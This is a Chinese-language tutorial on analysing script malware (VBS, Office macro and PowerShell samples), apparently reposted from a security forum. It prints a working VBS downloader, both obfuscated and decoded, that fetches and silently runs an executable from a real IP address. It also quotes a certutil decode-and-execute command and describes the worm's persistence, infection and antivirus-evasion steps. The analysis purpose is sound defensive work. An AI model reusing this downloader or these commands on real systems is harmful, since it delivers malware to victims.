脚本代码大全 脚本类恶意程序分析技巧汇总
吾爱上面找的一个样本,评论区虽然有分析结果,但是并没有解密过程,贴上代码
on error resume next
set oshell = wscript.createobject (Chr(87)+Chr(115)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(115)+Chr(104)+Chr(101)+Chr(108)+Chr(108))
Set xPost = CreateObject(Chr(77)+Chr(105)+Chr(99)+Chr(114)+Chr(111)+Chr(115)+Chr(111)+Chr(102)+Chr(116)+Chr(46)+Chr(88)+Chr(77)+Chr(76)+Chr(72)+Chr(84)+Chr(84)+Chr(80))
xPost.Open Chr(71)+Chr(69)+Chr(84),Chr(104)+Chr(116)+Chr(116)+Chr(112)+Chr(58)+Chr(47)+Chr(47)+"222.73.45.135:19999/rc/zj/gx"+Chr(46)+Chr(106)+Chr(112)+Chr(103),Chr(48)
xPost.Send()
Set sGet = CreateObject(Chr(65)+Chr(68)+Chr(79)+Chr(68)+Chr(66)+Chr(46)+Chr(83)+Chr(116)+Chr(114)+Chr(101)+Chr(97)+Chr(109))
sGet.Mode = Chr(51)
sGet.Type = Chr(49)
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "ccom"+Chr(46)+Chr(101)+Chr(120)+Chr(101),Chr(50)
oshell.RUN "ccom"+Chr(46)+Chr(101)+Chr(120)+Chr(101),vbhide
这个样本实际上的利用了Chr函数的特性来混淆分析者,我们可疑拷贝第一句vbs代码,然后修改为下图
直接将混淆的代码弹出,改后缀为vbs,运行
就能直接看到未被混淆的代码,利用这种方法可以轻松解密整个文件,解密后代码如下:
on error resume next
set oshell = wscript.createobject (Wscript.shell)
Set xPost = CreateObject(Microsoft.XMLHTTP)
xPost.Open GET,http://222.73.45.135:19999/rc/zj/gx.jpg,0
xPost.Send()
Set sGet = CreateObject(ADODB.Stream)
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "ccom.exe",2
oshell.RUN "ccom.exe",vbhide
可以看到这实际上是一个下载者,目的是从网页中下载一个exe。
这个是最简单的混淆,实际上vbs代码的混淆还会用到很多函数,比如replace(),split()等等,但是只要了解函数及其参数的含义,并把结果输出,就能解决大部分的混淆代码。
vbs病毒实战分析样本来源
下面我们实际分析一个vbs样本,样本来源自吾爱破解:,已经有大神分析过了脚本代码大全,我就偷个懒,跟着大佬的结果分析吧
实战分析
首先创建FSO对象,初始化随机数
定义变量temp为随机数名字
循环遍历脚本代码大全,windows文件夹,system文件夹,temp文件夹,得到这三个文件夹的路径,自我复制到这三个特殊文件夹下
GetSpecialFolder方法参数如下:
创建shell对象 写入注册表启动项和开机启动项,修改开机登录窗口内容
打开自身,读取所有内容,创建drives对象,调用scan函数遍历并扫描所有磁盘,scan函数代码如下:
scan函数会遍历所有的.txt文件,将病毒自身的代码覆盖掉原txt文件,然后添加文件后缀.vbs,感染前和感染后文件如图:
最后获取自身路径,进行自删除操作
宏病毒样本分析基础理论什么是宏
宏(macro),就是软件设计者为了在使用软件工作时,避免一再的重复相同的动作而设计出来的一种工具。它利用简单的语法,把常用的动作写成宏,当再工作时,就可以直接利用事先写好的宏自动运行,去完成某项特定的任务,而不必再重复相同的动作。
什么是宏病毒
宏病毒是一种寄存在文档或模板的宏中的计算机病毒。一旦打开这样的文档,其中的宏就会被执行,于是宏病毒就会被激活,转移到计算机上,并驻留在Normal模板上。从此以后,所有自动保存的文档都会“感染”上这种宏病毒,而且如果其他用户打开了感染病毒的文档,宏病毒又会转移到他的计算机上。
宏病毒的特性
宏病毒具有自动执行的特性,特别是含有AutoOpen的宏,一旦用户打开含有宏的文档,其中的宏就会被执行,而用户一无所知
宏语言
宏语言即VISUAL BASIC FOR APPLICATION,简称VBA。VBA可以访问许多操作系统函数并支持文档打开时自动执行宏——这使得用这种语言写计算机病毒成为可能
数据文件格式常用的宏
手工构造一个宏文档
接下来我们来手工构造一个带有宏的文档,具体步骤如下:
新建一个docx文档(我的版本是Office2013)
按Alt+F11,打开宏代码编辑器,然后填入下面的代码
给宏文档添加密码
接下来我们来给这个宏代码添加密码,点击工具->Project属性
选择保护辅助论坛,勾选查看时锁定工程,输入密码123,点击确定,
保存编辑好的文档,
选择否,另存为带有宏的docm
再次打开docm文档,弹出消息框
这个就是宏病毒的自动执行特性,当点击启用宏时,AutoOpen函数的代码就会自动执行
再次查看宏代码,发现需要输入密码
绕过宏密码
接下来我们利用一款工具VBA_Password_Bypasser绕过宏设置的密码(需要注册才能绕过宏密码),
点击Open打开目标文档,再次打开宏代码编辑器
发现宏代码一览无余
宏病毒分析方法
以这次的目标样本为例讲述宏病毒的分析方法,样本来源
随便在卡饭找的一个样本,大家可以自行下载,也可以在文章末尾我提供的链接下载
静态分析
oledump.py是一个用于分析OLE文件(复合文件二进制格式)的程序,我们可以使用它提取文档中的宏代码。接下来我们简单介绍一下oledump的使用,我们以invoice_62891.doc为例进行介绍:
要使用oledump必须先安装olefile模块
然后在此处打开命令行,输入下面这条命令
oledump.py invoice_62891.doc
这是oledump对doc文件的最基础的分析,显示了这个文件的Stream数据,一共包含5段,其中字母‘M’,表示这段数据中含有VBA宏(Macro)
oledump.py有许多参数可以选择,使用oledump.py -m 可以查看oledump.py 的帮助信息,这里我们要用到的参数
是-s和-v
-s 段号:选择上分析出的某一段来查看内容
-v :解压缩VBA宏
上面两个参数结合起来用就可以找出宏源码:
oledump.py -s 7 -v invoice_62891.doc
可以看到宏代码被解析出来了。在实际分析时,-s后的参数可以选择a,表示分析所有段的数据,还可以使用‘>’符号
将宏代码数据存储在新文件中,比如
oledump.py -s a -v invoice_62891.doc>1.txt
这样就能把宏代码输出到文件了,即使这个文档是带有密码的
动态调试
接下来说明如何在office自带的宏代码编辑器中调试宏代码
设置断点
按快捷键F9或者在左侧单击可以为当前行设置断点
清除所有断点
按快捷键Ctrl+Shit+F9可以清除所有断点
控制执行流程查看变量
在当前行单击鼠标右键,添加监视,可以查看变量
搜索指定内容
按Ctrl+F可以选择在当前模块或者过程查找指定内容
宏代码混淆解决方案
被混淆的宏代码其实有一种非常取巧的解决方案,纯粹的宏能做到事情实际上是有限的,大多数的宏病毒都是通过解密或下载一个恶意的PE文件,从而利用PE来完成最终的目的。而下载或解密都是通过Shell、WScript.Shell、Application.Run等方式。我们可以直接搜索这些字符串,定位到关键代码的位置。
以这一次的目标样本为例,直接打开文档 按Alt+F11打开宏编辑器,这个病毒同样是有宏密码保护的,怎么绕过去想必大家已经会了吧?
打开之后直接搜索Shell字符,在当前行下断点,F5运行
接下来将变量添加到监视
你会发现病毒调用shell执行一条cmd命令,这个cmd命令就是这个宏病毒的最终目的了,从另一个角度来看,这不仅是一种去混淆的方法,也是一种偷懒的方法
实战分析宏病毒
接下来分析真正分析这个宏病毒,在AutoOpen函数下断 按F5运行
F8单步跟踪,
在跟踪的过程可以右键把表达式添加到监视
一直往下跟踪,你会发现所有的操作都是在拼接字符串,虽然说变量名是经过混淆的,但这丝毫不影响我们的分析
一直单步到这一句的时候,重点来了,通过变量的字符串拼接,程序创建了一个文件系统对象
然后用文件系统对象创建文件 路径为"C:UsersGuiShouAppDataLocalTempmicrosoft.pfx",参数True表示覆盖原文件
接下来将这一段看上去似乎乱码的字符串写入到文件
然后拼接一个字符串,我们不需要关心每一部分是什么,只需要将变量添加监视就能直接看到拼接的最终结果
然后调用shell执行这条命令
"cmd /c certutil -decode %TMP%\microsoft.pfx %TMP%\microsoft.exe & start %TMP%\microsoft.exe"
这条命令的含义是调用cmd命令先将Temp目录下的microsoft.pfx文件解密,然后运行microsoft.exe
那么我们先将截取这条命令的前半部分将病毒写入的这个文件进行解密,调用下面这条命令将解密后的文件输出
直接打开解密后的1.txt,MZ开头 很明显这是个PE文件了
那么这个宏病毒的最终目的已经很明显了 输出一个加密的exe文件,利用cmd将其解密后执行
宏病毒的部分已经分析完成了。至于exe的恶意程序不在本节讨论范围之内
powershell病毒分析powershell简介
Powershell 是运行在windows机器上实现系统和应用程序管理自动化的命令行脚本环境。你可以把它看成是命令行提示符cmd.exe的扩充,不对,应当是颠覆。 powershell需要.NET环境的支持,同时支持.NET对象。微软之所以将Powershell 定位为Power,并不是夸大其词,因为它完全支持对象。其可读性,易用性,可以位居当前所有shell之首
PowerShell功能十分强大。它旨在从命令行自动执行任务并解决配置管理的问题,由此创建了许多重要工具。PowerShell有很多优点:例如易于导入模块,能够访问核心API和远程命令,也正是由于这些优点使其成为攻击者执行无文件攻击的首选工具之一。使用本地或预先安装的工具来进行攻击已经越来越受欢迎,至少部分是由于基于文件的AV系统(例如ML引擎)的进步以检测从未见过的攻击。
如何调试PowerShell 脚本
在运行窗口输入powershell ISE打开IDE窗口,随便打开一个PS脚本
IDE界面
首先来介绍一下这个界面
如图所示: IDE环境被分成了三个窗格,这个窗格的布局可以自定义。
管理断点
在 Windows PowerShell 调试环境中设置三种类型的断点:
行断点 在脚本运行期间,当达到所指定的行时,脚本暂停
变量断点。 每当指定变量的值发生变化时,脚本就会暂停。
命令断点。 在脚本运行期间,每当要运行指定命令时,脚本暂停。 它可以包括参数,以便仅对所需操作进一步筛选断点。 该命令还可以是你创建的函数。
只有行断点可以通过使用菜单或键盘快捷方式进行设置。 可以设置其他两种类型的断点,但应通过使用 Set-PSBreakpoint cmdlet 从控制台窗格中进行设置。
设置断点
设置行断点:右键单击你想要设置行断点的行,然后单击“切换断点,或者直接用快捷键F9
设置变量断点:
示例:
# This command sets a breakpoint on the Server variable in the Sample.ps1 script.
Set-PSBreakpoint -Script sample.ps1 -Variable Server
列出所有断点
在“调试”菜单上,单击“列出断点”,或者在控制台输入这条命令Get-PSBreakpoint
移除所有断点
若要移除在当前会话中定义的所有断点,在“调试”菜单上,单击“删除所有断点”
禁用所有断点
若要禁用在当前会话中的所有断点,在“调试”菜单上,单击“禁用所有断点”,或者在控制台输入这条命令Get-PSBreakpoint | Disable-PSBreakpoint
管理调试会话启动调试
按 F5 或在工具栏上,单击“运行脚本”图标,或在“调试”菜单上,单击“运行/继续”。 脚本将一直运行,直到它遇到第一个断点。 它将在此处暂停操作,并突出显示它暂停时所在的行。
继续调试
按 F5 或在工具栏上,单击“运行脚本”图标,或在“调试”菜单上,单击“运行/继续”或在控制台窗格中,键入 C,然后按 ENTER。 这将导致脚本继续运行到下一个断点,或如果接下来没有遇到任何断点的话运行到脚本的末尾。
查看调用堆栈
若要查看当前调用堆栈,请按 CTRL+SHIFT+D,或在“调试”菜单上,单击“显示调用堆栈”,在控制台窗格中,键入 K,然后按 ENTER。
停止调试
按 SHIFT-F5,或在“调试”菜单上,单击“停止调试器”,或者,在控制台窗格中,键入 Q,然后按 ENTER。
如何单步如何显示变量的值
powershell是没有监视窗口的,那么如何查看某个变量的值呢?有两个方法:
在脚本窗格中,将鼠标悬停在变量上,会自动显示变量的值
在控制台窗格中,键入变量的名称并按回车键
Powershell代码混淆解决方案常见的混淆方法
对于PowerShell而言,以下是一些常见的混淆方法:
还有更复杂的混淆方法,如变量创建和替换。混淆器将随机变量定义为字符串的全部或部分,并通过文件在该字符串的位置插入/替换它的地方。 有许多方法可以实现替换。以下是几个例子:
格式化操作符
{1}PSScriptRoot{0}..{0}PSVersionCompare.psd1-`F‘’,’$’
函数替换
`(pZyPSScriptRootAdd``-``LTUser.ps1).replace(``'pZy'``,’$’)`
跟vbs去混淆的方法一样,了解函数及参数解释,结合echo打印函数,了解混淆原理,再反混淆就没有任何问题了。这里就不再举例了。
实战分析一个PowerShell挖矿病毒样本来源
接下来我们来实战分析一个powershell病毒,样本来源还是卡饭
我们来分析其中一个样本
实战分析
在第一行F9下断点,然后F5运行,程序断下
首先初始化了三个变量和一个对象,变量的值我们可以在控制窗口看到
接着调用DownloadFile方法从一个服务器地址下载一个exe到Temp目录下
接着自我复制到User目录下
接着将Temp目录下的yam文件再次拷贝一份 重命名为xe.exe
然后创建并删除计划任务
接着调用cmd命令对抗杀软
然后启动Temp目录下的xe.exe开始挖矿,后面的参数是矿池的启动参数
到此 这个powershell病毒就分析完成了
最后,附上相关文件 样本和工具 大家可以到我的Github下载,另外我会提供一份文章的pdf版,有需要的可以下载
参考资料
如何在 Windows PowerShell ISE 中调试脚本:
反编译python打包的exe文件:
宏病毒研究1——基础理论篇 :%3D1%26filter%3Dtypeid%26typeid%3D79
Powershell 代码反混淆技术研究:
--官方论坛
--推荐给朋友
来源:【九爱网址导航www.fuzhukm.com】 免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!